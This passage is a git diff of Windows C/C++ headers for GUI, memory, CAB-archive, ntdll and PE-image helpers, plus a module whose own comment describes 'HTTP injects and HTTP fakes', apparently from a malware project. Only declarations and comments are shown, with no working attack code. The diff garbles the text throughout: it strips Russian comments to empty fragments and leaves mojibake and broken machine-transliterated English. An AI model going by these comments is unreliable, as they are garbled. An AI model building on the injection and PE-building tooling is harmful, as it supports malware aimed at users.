HANDLE fileMap, DWORD fileMapOffset); }; diff --git a/source/common/gui.h b/source/common/gui.h index f1ba076..1bcd8b6 100644 --- a/source/common/gui.h +++ b/source/common/gui.h @@ -1,133 +1,133 @@ /* - Работа с GUI. + GUI. */ #pragma once namespace Gui { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Кээлбэк для _enumWindows(). + _enumWindows(). - IN window - окно. - IN param - параметр. + IN window - . + IN param - . - Return - true - продолжить поиск, - false - прервать поиск. + Return - true - , + false - . */ typedef bool (ENUMWINDOWSPROC)(HWND window, void *param); /* - Перечисление дочерных окон. + . - IN owner - родитель, может быть NULL. - IN topToDown - true - перечислять с верху вниз, false - снизу вверх. - IN proc - кэлбэк. - IN param - параметр для кэлбэка. + IN owner - , NULL. + IN topToDown - true - , false - . + IN proc - . + IN param - . */ void _enumWindows(HWND owner, bool topToDown, ENUMWINDOWSPROC proc, void *param); /* - Данная функция является обреткой для WindowFromPoint(), которая пропускает HTTRANSPARENT. - Способ реализации доволно наивен, но мне не удалсоь найти более нормального способа. + WindowFromPoint(), HTTRANSPARENT. + , . - IN point - координаты для поиска окна. - IN timeout - таймаут для WM_NCHITTEST. - OUT hitTest - HitTest окна. Может быть NULL. + IN point - . + IN timeout - WM_NCHITTEST. + OUT hitTest - HitTest . NULL. - Return - хэндл окна, или NULL. + Return - , NULL. */ HWND _windowFromPoint(POINT point, DWORD timeout, DWORD *hitTest); /* - Проверяет имеет ли стиль окна бордюры с изменением размера. + . - IN style - стиль окна. + IN style - . - Return - true - стиль имеед бордюры, - false - не имеет. + Return - true - , + false - . */ bool _styleHaveSizeBorders(DWORD style); /* - Загрузка иконки как shared (не трубует удаления). + shared ( ). - IN module - моудль. + IN module - . IN id - ID. */ HICON _loadSharedIcon(HMODULE module, const LPWSTR id); /* - Получение текста окна с выделением памяти. + . - IN window - окно. - OUT size - размер строки без нулевого соимвола. Может быть NULL. + IN window - . + OUT size - . NULL. - Return - текст окна (нужно освободить через NULL), или NULL в случаи ошибки. + Return - ( NULL), NULL . */ LPWSTR _getWindowText(HWND window, LPDWORD size); /* - Загрузка курсора как shared (не трубует удаления). + shared ( ). - IN module - моудль. + IN module - . IN id - ID. */ HCURSOR _loadSharedCursor(HMODULE module, const LPWSTR id); /* - Создание шрифта FONT_DIALOG. + FONT_DIALOG. - IN pointSize - размер шрифта в поинтах, рекомендуется значение 8. + IN pointSize - , 8. - Return - хэндл шрифта, или NULL в случаи ошибки. + Return - , NULL . */ HFONT _createDialogFont(BYTE pointSize); /* - Запуск диалога выбора файла. + . - IN owner - хэндл родителя - IN initialDir - директория отностиельно который открывается диалог. Может быть NULL. - IN OUT fileBuffer - на входе - инициализационный путь/файл, - на выходе - выбранный файл. + IN owner - + IN initialDir - . NULL. + IN OUT fileBuffer - - /, + - . - Return - true - в случаи успеха, - false - в случаи провала. + Return - true - , + false - . */ bool _browseForFile(HWND owner, LPWSTR initialDir, LPWSTR fileBuffer); /* - Запуск диалога сохранения файла. - - IN owner - хэндл родителя - IN initialDir - директория отностиельно который открывается диалог. Может быть NULL. - IN OUT fileBuffer - на входе - инициализационный путь/файл, - на выходе - выбранный файл. - IN defaultExtension - расширение по умолчанию (без точки). Может быть NULL. - IN filter - фильтр. См. OPENFILENAME.lpstrFilter. - IN filterIndex - выделеный индекс элемента в filter. - - Return - true - в случаи успеха, - false - в случаи провала. + . + + IN owner - + IN initialDir - . NULL. + IN OUT fileBuffer - - /, + - . + IN defaultExtension - ( ). NULL. + IN filter - . . OPENFILENAME.lpstrFilter. + IN filterIndex - filter. + + Return - true - , + false - . */ bool _browseForSaveFile(HWND owner, LPWSTR initialDir, LPWSTR fileBuffer, LPWSTR defaultExtension, LPWSTR filter, DWORD filterIndex); - /*В В В В Initialize common controls (front-end for InitCommonControlsEx ()). + /*    Initialize common controls (front-end for InitCommonControlsEx ()). -В В В В IN classes - ICC_ *. +    IN classes - ICC_ *. -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    Return - true - if successful, +                 false - if an error occurs. +  */ bool _loadCommonControl(DWORD classes); }; diff --git a/source/common/httpinject.h b/source/common/httpinject.h index 74a1bf7..9d93745 100644 --- a/source/common/httpinject.h +++ b/source/common/httpinject.h @@ -1,11 +1,11 @@ /* - Некотрые данне для HTTP-инжектов и HTTP-фейков. + HTTP- HTTP-. */ #pragma once namespace HttpInject { - //Флаги HEADER.flags. + //Флаги HEADER.flags. enum { @@ -47,32 +47,32 @@ namespace HttpInject # pragma pack(pop) /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Проверка корректности оффсетов в HEADER. + HEADER. IN header - HEADER. - Return - true - корректно, - false - не корректно. + Return - true - , + false - . */ bool _isCorrectHeader(const HEADER *header); - /*В В В В Validating set INJECTBLOCK. + /*    Validating set INJECTBLOCK. -В В В В IN block - set INJECTBLOCK. -В В В В IN size - the size of the set. +    IN block - set INJECTBLOCK. +    IN size - the size of the set. -В В В В Return - true - well, -В В В В В В В В В В В В В В В В false - is not correct. -В В */ +    Return - true - well, +                false - is not correct. +  */ bool _isCorrectBlockList(const INJECTBLOCK *block, DWORD size); }; diff --git a/source/common/httptools.h b/source/common/httptools.h index 5542b21..7697cc1 100644 --- a/source/common/httptools.h +++ b/source/common/httptools.h @@ -1,5 +1,5 @@ /* - Интсрументы для обработки данных HTTP. + HTTP. */ #pragma once @@ -12,7 +12,7 @@ namespace HttpTools GMH_REQUEST_HTTP_VERSION, //HTTP-version. GMH_RESPONSE_HTTP_VERSION = GMH_HTTP_METHOD, //HTTP-version. GMH_RESPONSE_STATUS = GMH_HTTP_URI, //HTTP-status. - GMH_RESPONSE_STATUSTEXT = GMH_REQUEST_HTTP_VERSION, //Тексотвый HTTP-status. + GMH_RESPONSE_STATUSTEXT = GMH_REQUEST_HTTP_VERSION, // HTTP-status. GMH_DATA, //Idushie data after the headers. GMH_COUNT }; @@ -36,197 +36,197 @@ namespace HttpTools }URLDATA; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Получение значение переменной из "x-www-form-urlencoded" или URI (смешение до ? не происходит). + "x-www-form-urlencoded" URI ( ? ). - IN list - список переменных. - IN listSize - размер списка в байтах - IN varable - переменная для поиска, в URL-кодировке. - OUT valSize - размер значения перменной в байтах.. + IN list - . + IN listSize - + IN varable - , URL-. + OUT valSize - .. - Return - адрес переменной, или NULL если переменная не найдена. + Return - , NULL . */ LPSTR _findValueInUrlEncoded(const void *list, DWORD listSize, const LPSTR varable, LPDWORD valSize); /* - Парсинг URL. После использования необходимо освободить через _freeUrlData(). + URL. _freeUrlData(). - IN url - URL строка для парсинга. - OUT ud - результат парсига. + IN url - URL . + OUT ud - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _parseUrl(const LPSTR url, URLDATA *ud); /* - Освобождение URLDATA. + URLDATA. - IN ud - URLDATA для освобождения. + IN ud - URLDATA . */ void _freeUrlData(URLDATA *ud); /* - Получение имени файла из URL с раскодированием %XX и конрвертацией из UTF8. + URL %XX UTF8. IN url - URL. - Return - NULL - в случаи ошибки, - имя файла в случаи успеха (нужно освободить через Mem). + Return - NULL - , + ( Mem). */ LPWSTR _getFileNameFromUrl(const LPSTR url); /* - Сравнивает имя тега со строкой. + . - IN tag - имя тэга дял сраванения. - IN tagSize - размер pTag. - IN string - строка для сравнения. Строка может начинаться как с символа '<' или ' 0 - элемент p1 больше p2. - = 0 - элементы равны. - < 0 - элемент p1 меньше p2. + Return - > 0 - p1 p2. + = 0 - . + < 0 - p1 p2. */ typedef int (*qsortProc)(const void *p1, const void *p2); - /*В В В В Quicksort the array. + /*    Quicksort the array. -В В В В IN pBase - base address of the array. -В В В В IN dwCount - kolichetsvo elements in the array. -В В В В IN dwWidth - the width of a single element. -В В В В IN pComp - a comparison function. -В В */ +    IN pBase - base address of the array. +    IN dwCount - kolichetsvo elements in the array. +    IN dwWidth - the width of a single element. +    IN pComp - a comparison function. +  */ void _qsort(void *pBase, DWORD dwCount, DWORD dwWidth, qsortProc pComp); }; diff --git a/source/common/mem.h b/source/common/mem.h index 1d849c8..1e7472e 100644 --- a/source/common/mem.h +++ b/source/common/mem.h @@ -1,9 +1,9 @@ /* - Работа с памятью Windows 32/64 на основе Heap. + Windows 32/64 Heap. - Примечание: Данные функции в первую очередь рассчитаны на стабильность, поэтому имеют следующие - свойства: - 1. Выделяемый блок памяти обязательно заполняется нулями. + : , + : + 1. . */ #pragma once @@ -39,9 +39,9 @@ typedef struct namespace Mem { /* - Инициализация, создание кучи. + , . - IN initialSize - начальный размер кучи. + IN initialSize - . */ #if(MEM_PERSONAL_HEAP == 1) void init(SIZE_T initialSize); @@ -50,212 +50,212 @@ namespace Mem #endif /* - Деинициализация. + . */ void uninit(void); /* - Изменения размера блока памяти. + . - IN OUT old - блок памяти для изменения, или NULL для создания нового (равносильно alloc). - IN size - новый размер блока памяти. + IN OUT old - , NULL ( alloc). + IN size - . - Return - true - в случаи успешного выделения памяти, - false - в случаи ошибки, при этом старый блок памяти не освобождается. + Return - true - , + false - , . */ bool reallocEx(void *old, SIZE_T size); /* - Изменения размера блока памяти. + . - IN old - блок памяти для изменения, или NULL для создания нового (равносильно Alloc). - IN size - новый размер блока памяти. + IN old - , NULL ( Alloc). + IN size - . - Return - адрес нового блока памяти, или NULL в случаи ошибки. + Return - , NULL . */ void *realloc(void *old, SIZE_T size); /* - Выделение блока памяти. + . - IN size - размер блока памяти. + IN size - . - Return - адрес нового блока памяти, или NULL в случаи ошибки. + Return - , NULL . */ void *alloc(SIZE_T size); /* - Выделить память, не обнуля содержимое. + , . - IN size - размер блока памяти. + IN size - . - Return - адрес нового блока памяти, или NULL в случаи ошибки. + Return - , NULL . */ void *quickAlloc(SIZE_T size); /* - Освобождение блока памяти. + . - IN mem - блок памяти для освобождения. + IN mem - . */ void free(void *mem); /* - Освобождение блока памяти с предварительным занулением. + . - IN mem - блок памяти для освобождения, не может быть NULL. - IN size - количество байт для обнуления. + IN mem - , NULL. + IN size - . */ void zeroAndFree(void *mem, SIZE_T size); /* - Освобождение памяти по адресам перечисленных в массиве. и освобождение самого массива mem + . mem - IN mem - массив для освобождения. - IN count - количество элементов в массиве pMem + IN mem - . + IN count - pMem */ void freeArrayOfPointers(void *mem, SIZE_T count); /* - Копирование блока памяти. + . - OUT dest - адрес памяти для скопированных байтов. - IN source - адрес памяти с исходными байтами. - IN size - количество байт для копирования. + OUT dest - . + IN source - . + IN size - . */ void ASM_INTERNAL_DEF _copy(void *dest, const void *source, SIZE_T size); /* - Копирование блока памяти начиная с конца блока памяти. + . - OUT dest - адрес памяти для скопированных байтов. - IN source - адрес памяти с исходными байтами. - IN size - количество байт для копирования. + OUT dest - . + IN source - . + IN size - . */ void _copyFromEnd(void *dest, const void *source, SIZE_T size); /* - Копирование блока памяти, обертка для Copy. + , Copy. - OUT dest - адрес памяти для скопированных байт. - IN source - адрес памяти с исходными байтами. - IN size - количество байт для копирования. + OUT dest - . + IN source - . + IN size - . - Return - возвращает dest + size. + Return - dest + size. */ void *_copy2(void *dest, const void *source, SIZE_T size); /* - Копирование блока памяти с автоматическим выделением памяти для копии. + . - IN source - адрес памяти с исходными байтами. - IN size - количество байт для копирования. + IN source - . + IN size - . - Return - адрес памяти с скопированными байтами, или NULL. + Return - , NULL. */ void *copyEx(const void *source, SIZE_T size); /* - Сравнение блоков памяти. + . - IN mem1 - адрес первого блока памяти. - IN mem2 - адрес второго блока памяти. - IN size - количество байт для сравнения. + IN mem1 - . + IN mem2 - . + IN size - . - Return - <0 - mem1 меньше mem2 - =0 - mem1 равен mem2 - >0 - mem1 больше mem2 + Return - <0 - mem1 mem2 + =0 - mem1 mem2 + >0 - mem1 mem2 */ int _compare(const void *mem1, const void *mem2, SIZE_T size); /* - Обнуление блока памяти. + . - IN mem - адрес блока памяти для обнуления. - IN size - количество байт для обнуления. + IN mem - . + IN size - . */ void _zero(void *mem, SIZE_T size); /* - Заполнение блока памяти определенным символом. + . - IN mem - адрес блока памяти для заполнения. - IN size - количество байт для заполнения. + IN mem - . + IN size - . */ void ASM_INTERNAL_DEF _set(void *mem, char c, SIZE_T size); /* - Ищет символ в блоке памяти с лева на права. + . - IN mem - блок памяти, в котором производится поиск. - IN c - символ для поиска. - IN size - количество байт в блоке mem. + IN mem - , . + IN c - . + IN size - mem. - Return - в случаи успеха указатель на символ, - в случаи ошибки NULL. + Return - , + NULL. */ void *_getL(void *mem, char c, SIZE_T size); /* - Ищет символ в блоке памяти с права на лева. + . - IN mem - блок памяти, в котором производится поиск. - IN c - символ для поиска. - IN size - количество байт в блоке mem. + IN mem - , . + IN c - . + IN size - mem. - Return - в случаи успеха указатель на символ, - в случаи ошибки NULL. + Return - , + NULL. */ void *_getR(void *mem, char c, SIZE_T size); /* - Подменяет один байть на другой в блоке памяти. + . - IN mem - блок памяти, в котором производится поиск. - IN size - количество байт в блоке pmem. - IN oldChar - байт для поиска. - IN newChar - байт для замены. + IN mem - , . + IN size - pmem. + IN oldChar - . + IN newChar - . */ void _replace(void *mem, SIZE_T size, char oldChar, char newChar); /* - Поиск блока данных в памяти. + . - IN mem - указатель на память. - IN memSize - размер mem. - IN data - блок для поиска. - IN dataSize - размер data. + IN mem - . + IN memSize - mem. + IN data - . + IN dataSize - data. - Return - указатель на первый встретевшийся блок data, или NULL если не найдено. + Return - data, NULL . */ void *_findData(const void *mem, SIZE_T memSize, void *data, SIZE_T dataSize); /* - Обмен данными двух адресов. + . - IN mem1 - первый адрес. - IN mem2 - второй адрес. - IN size - количество байт для обмена. + IN mem1 - . + IN mem2 - . + IN size - . */ void _swap(void *mem1, void *mem2, SIZE_T size); /* - Подмена DWORD значения. -В В В В IN originalValue - the old value. -В В В В IN newValue - the new value. -В В В В IN OUT mem - memory for processing. -В В В В IN memSize - size pMem. + DWORD . +    IN originalValue - the old value. +    IN newValue - the new value. +    IN OUT mem - memory for processing. +    IN memSize - size pMem. -В В В В Return - col. Modified zancheny. -В В */ +    Return - col. Modified zancheny. +  */ SIZE_T _replaceDword(DWORD originalValue, DWORD newValue, void *mem, SIZE_T memSize); - /*В В В В IN originalValue - the old value. -В В В В IN newValue - the new value. -В В В В IN OUT mem - memory for processing. -В В В В IN memSize - size pMem. + /*    IN originalValue - the old value. +    IN newValue - the new value. +    IN OUT mem - memory for processing. +    IN memSize - size pMem. -В В В В Return - col. Modified zancheny. -В В */ +    Return - col. Modified zancheny. +  */ SIZE_T _replaceQword(DWORD64 originalValue, DWORD64 newValue, void *mem, SIZE_T memSize); }; diff --git a/source/common/mscab.h b/source/common/mscab.h index c852e1c..ae39e01 100644 --- a/source/common/mscab.h +++ b/source/common/mscab.h @@ -1,15 +1,15 @@ #pragma once /* - Работа с MS CAB файлами через библиотеку cabinet.dll. Надстройка полнсотью обходит ограничения - ANSI кодировки. + MS CAB cabinet.dll. + ANSI . - Система отптимизирована на минимальный размер. + . - Примичание: функции не безопасны при многопоточном использовании, поэтому необходиму использовать - функции синхронизации. + : , + . TODO: - Добавить поддержку нескольких томов, т.е. привышение лимита CB_MAX_DISK. + , .. CB_MAX_DISK. */ #if !defined XLIB_MSCAB_FCI @@ -28,72 +28,72 @@ namespace MsCab }; /* - Инициализация. + . */ void Init(void); /* - Деинициализация. + . */ void Uninit(void); #if(XLIB_MSCAB_FCI > 0) /* - Создание нового архива. + . - IN pstrPath - путь к архиву. - IN pstrFile - имя архива. Может быть NULL, тогда имя должно быть включено в pstrPath. - IN pstrTempPath - директория для временных файлов. Если указано NULL, то используеся значение + IN pstrPath - . + IN pstrFile - . NULL, pstrPath. + IN pstrTempPath - . NULL, GetTempPath - Return - хэндл архива, хэндл должен быть закрыт через FCIClose, - или NULL в случаи ошибки. + Return - , FCIClose, + NULL . */ void *FCICreate(LPWSTR pstrPath, LPWSTR pstrFile, LPWSTR pstrTempPath); /* - Добавление файла в архив. + . - IN pFCI - хэндл. - IN pstrSourceFile - исходный файл. - IN pstrDestFile - конечный файл в архиве, возможно указания путей. Будет конвертироваться в - UTF-8, но если после конвертации размер строки привышает 256 - 1 символов, - он будет сохранен в архиве согласно текушей кодировки ОС. - - Return - true - в случаи успеха, - false - в случаи ошибки. + IN pFCI - . + IN pstrSourceFile - . + IN pstrDestFile - , . + UTF-8, 256 - 1 , + . + + Return - true - , + false - . */ bool FCIAddFile(void *pFCI, LPWSTR pstrSourceFile, LPWSTR pstrDestFile); /* - Закрытие архива. + . - IN pFCI - хэндл. + IN pFCI - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool FCIFlush(void *pFCI); /* - Закрытие хэндла созданного через FCICreate. + FCICreate. - IN pFCI - хэндл. + IN pFCI - . */ void FCIClose(void *pFCI); /* - Создание архива из папки. + . - IN outputFile - создаваемый файл архива. - IN sourceFolder - исходная папка. Может кончатся на слеш. - IN tempFolder - временная папка или NULL. - IN fileMask - массив масок файлов. - IN fileMaskCount - кол. элементов в fileMask. - IN flags - флаги CFF_*. + IN outputFile - . + IN sourceFolder - . . + IN tempFolder - NULL. + IN fileMask - . + IN fileMaskCount - . fileMask. + IN flags - CFF_*. - Return - true - в случаи успешного создания архива и архивированя хотябы одного - файла, false - в случаи ошибки или отсутвия файлов. + Return - true - + , false - . */ bool createFromFolder(LPWSTR outputFile, LPWSTR sourceFolder, LPWSTR tempFolder, LPWSTR *fileMask, DWORD fileMaskCount, DWORD flags); #endif @@ -101,63 +101,63 @@ namespace MsCab #if(XLIB_MSCAB_FDI > 0) /* - Функция вызываваемая для запроса на копирование файла. + . - IN sourceFile - исходный файл в архиве. - OUT destFile - файл назначения. Файл и весь путь будет создан автоматически. - IN destSize - размер файла. - IN data - данные. + IN sourceFile - . + OUT destFile - . . + IN destSize - . + IN data - . - Return - 1 - для извелчения файла, - 0 - для пропуска файла, - -1 - для прерывания обзора архива. + Return - 1 - , + 0 - , + -1 - . */ typedef int (* FDICOPYFILECALLBACK)(LPCWSTR sourceFile, LPWSTR destFile, DWORD destSize, void *data); /* - Открытие архива. + . - IN copyCallback - функция вызываваемая для запроса на копирование файла. Может быть NULL, для - извлечения всех файлов. - IN data - данные для copyCallback. Если copyCallback == NULL, то переменная указывает - на адрес папки, в которую распоковываются файлы. + IN copyCallback - . NULL, + . + IN data - copyCallback. copyCallback == NULL, + , . - Return - хэндл архива, хэндл должен быть закрыт через FDIClose, - или NULL в случаи ошибки. + Return - , FDIClose, + NULL . */ void *FDICreate(FDICOPYFILECALLBACK copyCallback, void *data); /* - Обзор и распоковка архива. + . - IN pFDI - хэндл. - IN pstrPath - путь к архиву. - IN pstrFile - имя архива. Может быть NULL. + IN pFDI - . + IN pstrPath - . + IN pstrFile - . NULL. - Return - true - в случаи успеха - false - в случаи ошибки. + Return - true - + false - . */ bool FDICopy(void *pFDI, LPWSTR pstrPath, LPWSTR pstrFile); /* - Закрытие хэндла созданного через FCICreate. + FCICreate. - IN pFDI - хэндл. + IN pFDI - . */ void FDIClose(void *pFDI); - /*В В В В Wrapper for FDI. + /*    Wrapper for FDI. -В В В В IN pstrPath - the path to the archive. -В В В В IN pstrFile - the name of the archive. May be NULL. -В В В В IN copyCallback - vyzyvavaemaya function to request a file copy. May be NULL, for -В В В В В В В В В В В В В В В В В В В В В В extract all files. -В В В В IN data - data for copyCallback. If copyCallback == NULL, then the variable points -В В В В В В В В В В В В В В В В В В В В В В the address of the folder in which raspokovyvayutsya files. +    IN pstrPath - the path to the archive. +    IN pstrFile - the name of the archive. May be NULL. +    IN copyCallback - vyzyvavaemaya function to request a file copy. May be NULL, for +                      extract all files. +    IN data - data for copyCallback. If copyCallback == NULL, then the variable points +                      the address of the folder in which raspokovyvayutsya files. -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    Return - true - if successful, +                      false - if an error occurs. +  */ bool extractFiles(LPWSTR pstrPath, LPWSTR pstrFile, FDICOPYFILECALLBACK copyCallback, void *data); #endif }; diff --git a/source/common/ntdll.h b/source/common/ntdll.h index 4e1cf9c..cbb3642 100644 --- a/source/common/ntdll.h +++ b/source/common/ntdll.h @@ -1,6 +1,6 @@ #pragma once /* - Набор определений для ntdll.dll + ntdll.dll */ #if !defined NTDLL_IMPORT @@ -8,7 +8,7 @@ #endif //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В NT status. +// NT status. //////////////////////////////////////////////////// //////////////////////////////////////////////// typedef LONG NTSTATUS; @@ -34,7 +34,7 @@ typedef LONG NTSTATUS; #define STATUS_NO_SUCH_FILE ((NTSTATUS)0xC000000FL) //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Determine a different. +// Determine a different. //////////////////////////////////////////////////// //////////////////////////////////////////////// typedef LONG KPRIORITY; @@ -244,7 +244,7 @@ typedef enum }OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS; //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Structure. +// Structure. //////////////////////////////////////////////////// //////////////////////////////////////////////// typedef struct { @@ -404,7 +404,7 @@ typedef struct }FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Function. +// Function. //////////////////////////////////////////////////// //////////////////////////////////////////////// typedef VOID (NTAPI *PIO_APC_ROUTINE) ( diff --git a/source/common/peimage.cpp b/source/common/peimage.cpp index f529b8b..d01d048 100644 --- a/source/common/peimage.cpp +++ b/source/common/peimage.cpp @@ -211,7 +211,7 @@ bool PeImage::_setNtHeader(PEDATA *pedata, PENTBASEDATA *basedata) if(p) { - //* - Values ​​that will be fixed after the assembly file. + //* - Values ​​that will be fixed after the assembly file. IMAGE_NT_HEADERS32 *ntHeader = (IMAGE_NT_HEADERS32 * )p; @@ -576,7 +576,7 @@ DWORD PeImage::_buildImage(PEDATA *pedata, DWORD flags, DWORD rvaOfEntryPoint, L } } - //Обновляем NT-header. + // NT-header. ((IMAGE_NT_HEADERS32 * )newNtHeader)->FileHeader.NumberOfSections = pedata->sectionsCount; bool setChecksum = (output && (flags & BIF_CHECKSUM)) ? true : false; @@ -1009,7 +1009,7 @@ bool PeImage::_isPeImage(void *mem, DWORD memSize) if(dosHeader->e_magic != IMAGE_DOS_SIGNATURE || dosHeader->e_lfanew < sizeof(WORD) || dosHeader->e_lfanew >= memSize - sizeof(IMAGE_NT_HEADERS32))return false; offset += dosHeader->e_lfanew; - //Получаем NT-header. + // NT-header. //This checks otsnovnye parameters for determining the 32/64 and predotvrasheniya "buffer overflow". //Making a tougher test does not see the point. if(((IMAGE_NT_HEADERS32 *)offset)->Signature != IMAGE_NT_SIGNATURE)return false; diff --git a/source/common/peimage.h b/source/common/peimage.h index 777d7fc..0177b47 100644 --- a/source/common/peimage.h +++ b/source/common/peimage.h @@ -1,7 +1,7 @@ /* - Парсер PE файлов. + PE . - FIXME: Потеряна связь и логика меджду функциями. + FIXME: . */ @@ -102,256 +102,256 @@ namespace PeImage }; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Создание пустого образа. + . - OUT pedata - структура для хранения образа. - IN machine - тип платформы. IMAGE_FILE_MACHINE_I386 или IMAGE_FILE_MACHINE_AMD64. + OUT pedata - . + IN machine - . IMAGE_FILE_MACHINE_I386 IMAGE_FILE_MACHINE_AMD64. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _createEmpty(PEDATA *pedata, WORD machine); /* - Создание образа из памяти. Данные проверяются на ошибки. + . . - OUT pedata - структура для хранения образа. - IN mem - указатель на память. - IN memSize - размер памяти, можно указать MAXDWORD, но если образ иммет ошибки, это может - привести к исключению. - IN isModule - содержимое памяти это загруженый модуль. + OUT pedata - . + IN mem - . + IN memSize - , MAXDWORD, , + . + IN isModule - . - Return - адрес конца образа - в случаи успеха, - NULL - в случаи ошибки. + Return - - , + NULL - . */ void *_createFromMemory(PEDATA *pedata, void *mem, DWORD memSize, bool isModule); /* - Освобождение образа. + . - IN pedata - образ для освобождения. + IN pedata - . */ void _freeImage(PEDATA *pedata); /* - Устанавливает DOS-заголовок для образа. + DOS- . - IN OUT pedata - образ для обработки. - IN dosHeader - DOS-заголовок, правильно должны быть указаны параметры e_magic и e_lfanew. + IN OUT pedata - . + IN dosHeader - DOS-, e_magic e_lfanew. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _setDosHeader(PEDATA *pedata, void *dosHeader); /* - Устанавливает NT-заголовок и задает базовые параметры. + NT- . - IN OUT pedata - образ для обработки. - IN basedata - базовые данные. + IN OUT pedata - . + IN basedata - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _setNtHeader(PEDATA *pedata, PENTBASEDATA *basedata); /* - Устанавливает NT-заголовок полнсотью копирую оригинальный заголовок. Также заполняет + NT- . PEDATA.DataDirectory. - IN OUT pedata - образ для обработки. - IN ntHeader - указатель на IMAGE_NT_HEADERS32 или IMAGE_NT_HEADERS64. Заголовок должен быть - корректным. + IN OUT pedata - . + IN ntHeader - IMAGE_NT_HEADERS32 IMAGE_NT_HEADERS64. + . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _setNtHeaderFromNtHeader(PEDATA *pedata, void *ntHeader); /* - Добавление секции. - - IN OUT pedata - образ для обработки. - IN name - название секции, не более IMAGE_SIZEOF_SHORT_NAME символов. - IN characteristics - аналог IMAGE_SECTION_HEADER.Characteristics. - IN data - содержимое секции. - IN dataOffset - позиция данные в RAW (PointerToRawData). Не имеет смысла для _buildImage(). - IN dataSize - размер pData. Автоматически выравниется до FileAligment при сборке. - IN virtualAddress - RVA секции, на этапе сборки не имеет смысла по скольку будет пересчитано. - IN virtualDataSize - виртуальный размер секции. Любое число, может быть не выровнено по - SectionAligment. По нему опередляется SizeOfInitializedData и + . + + IN OUT pedata - . + IN name - , IMAGE_SIZEOF_SHORT_NAME . + IN characteristics - IMAGE_SECTION_HEADER.Characteristics. + IN data - . + IN dataOffset - RAW (PointerToRawData). _buildImage(). + IN dataSize - pData. FileAligment . + IN virtualAddress - RVA , . + IN virtualDataSize - . , + SectionAligment. SizeOfInitializedData SizeOfUninitializedData. - IN flags - пользовательские флаги секций. + IN flags - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _addSection(PEDATA *pedata, LPSTR name, DWORD characteristics, void *data, DWORD dataOffset, DWORD dataSize, DWORD virtualAddress, DWORD virtualDataSize, DWORD flags); /* - Получение индекса секции по ее имени. + . - IN pedata - образ. - IN name - имя секции с учетом регистра. + IN pedata - . + IN name - . - Return - -1 - если секция не найдена, или индекс в случаи успеха. + Return - -1 - , . */ int _getSectionIndexByName(PEDATA *pedata, LPSTR name); /* - Установка данных для DataDirectory. + DataDirectory. - IN OUT pedata - образ для обработки. - IN index - одно из значений IMAGE_DIRECTORY_ENTRY_*. - IN virtualAddress - RVA-адрес. - IN size - виртуальный размер. + IN OUT pedata - . + IN index - IMAGE_DIRECTORY_ENTRY_*. + IN virtualAddress - RVA-. + IN size - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _setDataDirectory(PEDATA *pedata, BYTE index, DWORD virtualAddress, DWORD size); /* - Сборка образа. Способ сборки максимально приблизин к способу MS Linker 9.0. + . MS Linker 9.0. - IN pedata - образ для обработки. - IN flags - флаги BIF_*. - IN rvaOfEntryPoint - RVA точки входа. Если 0, значение берется из pedata. - OUT output - буфер для собраного образа. Если равно NULL, обновляются все внутрении - данные pedata (размер, RVA секций и т.д.). + IN pedata - . + IN flags - BIF_*. + IN rvaOfEntryPoint - RVA . 0, pedata. + OUT output - . NULL, + pedata (, RVA ..). - Return - 0 - в случаи ошибки, или размер образа в случаи успеха. + Return - 0 - , . */ DWORD _buildImage(PEDATA *pedata, DWORD flags, DWORD rvaOfEntryPoint, LPBYTE *output); /* - Подсчитывает RVA следующей секции, без учета IMAGE_SECTION_HEADER.PointerToRawData. + RVA , IMAGE_SECTION_HEADER.PointerToRawData. - IN pedata - образ для обработки. - IN sectionsCount - предположительное количетсво секций в образе, важно ТОЧНО указывать - это значение. + IN pedata - . + IN sectionsCount - , + . - Return - RVA секции в случаи успеха, - 0 - в случаи ошибки. + Return - RVA , + 0 - . */ DWORD _calcNextSectionRva(PEDATA *pedata, DWORD sectionsCount); /* - Подсчет текушего RAW размера образа. + RAW . - IN pedata - образ для обработки. + IN pedata - . - Retunrn - размер образа. + Retunrn - . */ DWORD _getCurrentRawSize(PEDATA *pedata); /* - Подсчет RAW размера образа. + RAW . - IN image - образ для обработки. Корректность образа не проверяется. + IN image - . . - Retunrn - размер образа. + Retunrn - . */ DWORD _getRawSize(const void *image); /* - Подсчет текушего Virtual размера образа, без учета IMAGE_SECTION_HEADER.VirtualAddress. + Virtual , IMAGE_SECTION_HEADER.VirtualAddress. - IN pedata - образ для обработки. + IN pedata - . - Retunrn - размер образа. + Retunrn - . */ DWORD _getCurrentVirtualSize(PEDATA *pedata); /* - Получение секции из загруженого модуля. + . - IN hModule - модуль. - IN wIndex - индекс секции. - OUT virtualSize - виртуальный размер секции, может быть NULL. + IN hModule - . + IN wIndex - . + OUT virtualSize - , NULL. - Return - NULL - в случаи ошибки, или адрес секции в случаи успеха. + Return - NULL - , . - Внимание: Корректность и доступность модуля не проверяется. + : . */ void *_getSectionOfModule(HMODULE module, WORD index, LPDWORD virtualSize); /* - Получение заголовка секции по ее имени. + . - IN image - образ (RAW/VA). - IN sectionName - имя секции для поиска. + IN image - (RAW/VA). + IN sectionName - . - Return - адрес заголовка секции, или NULL - в случаи 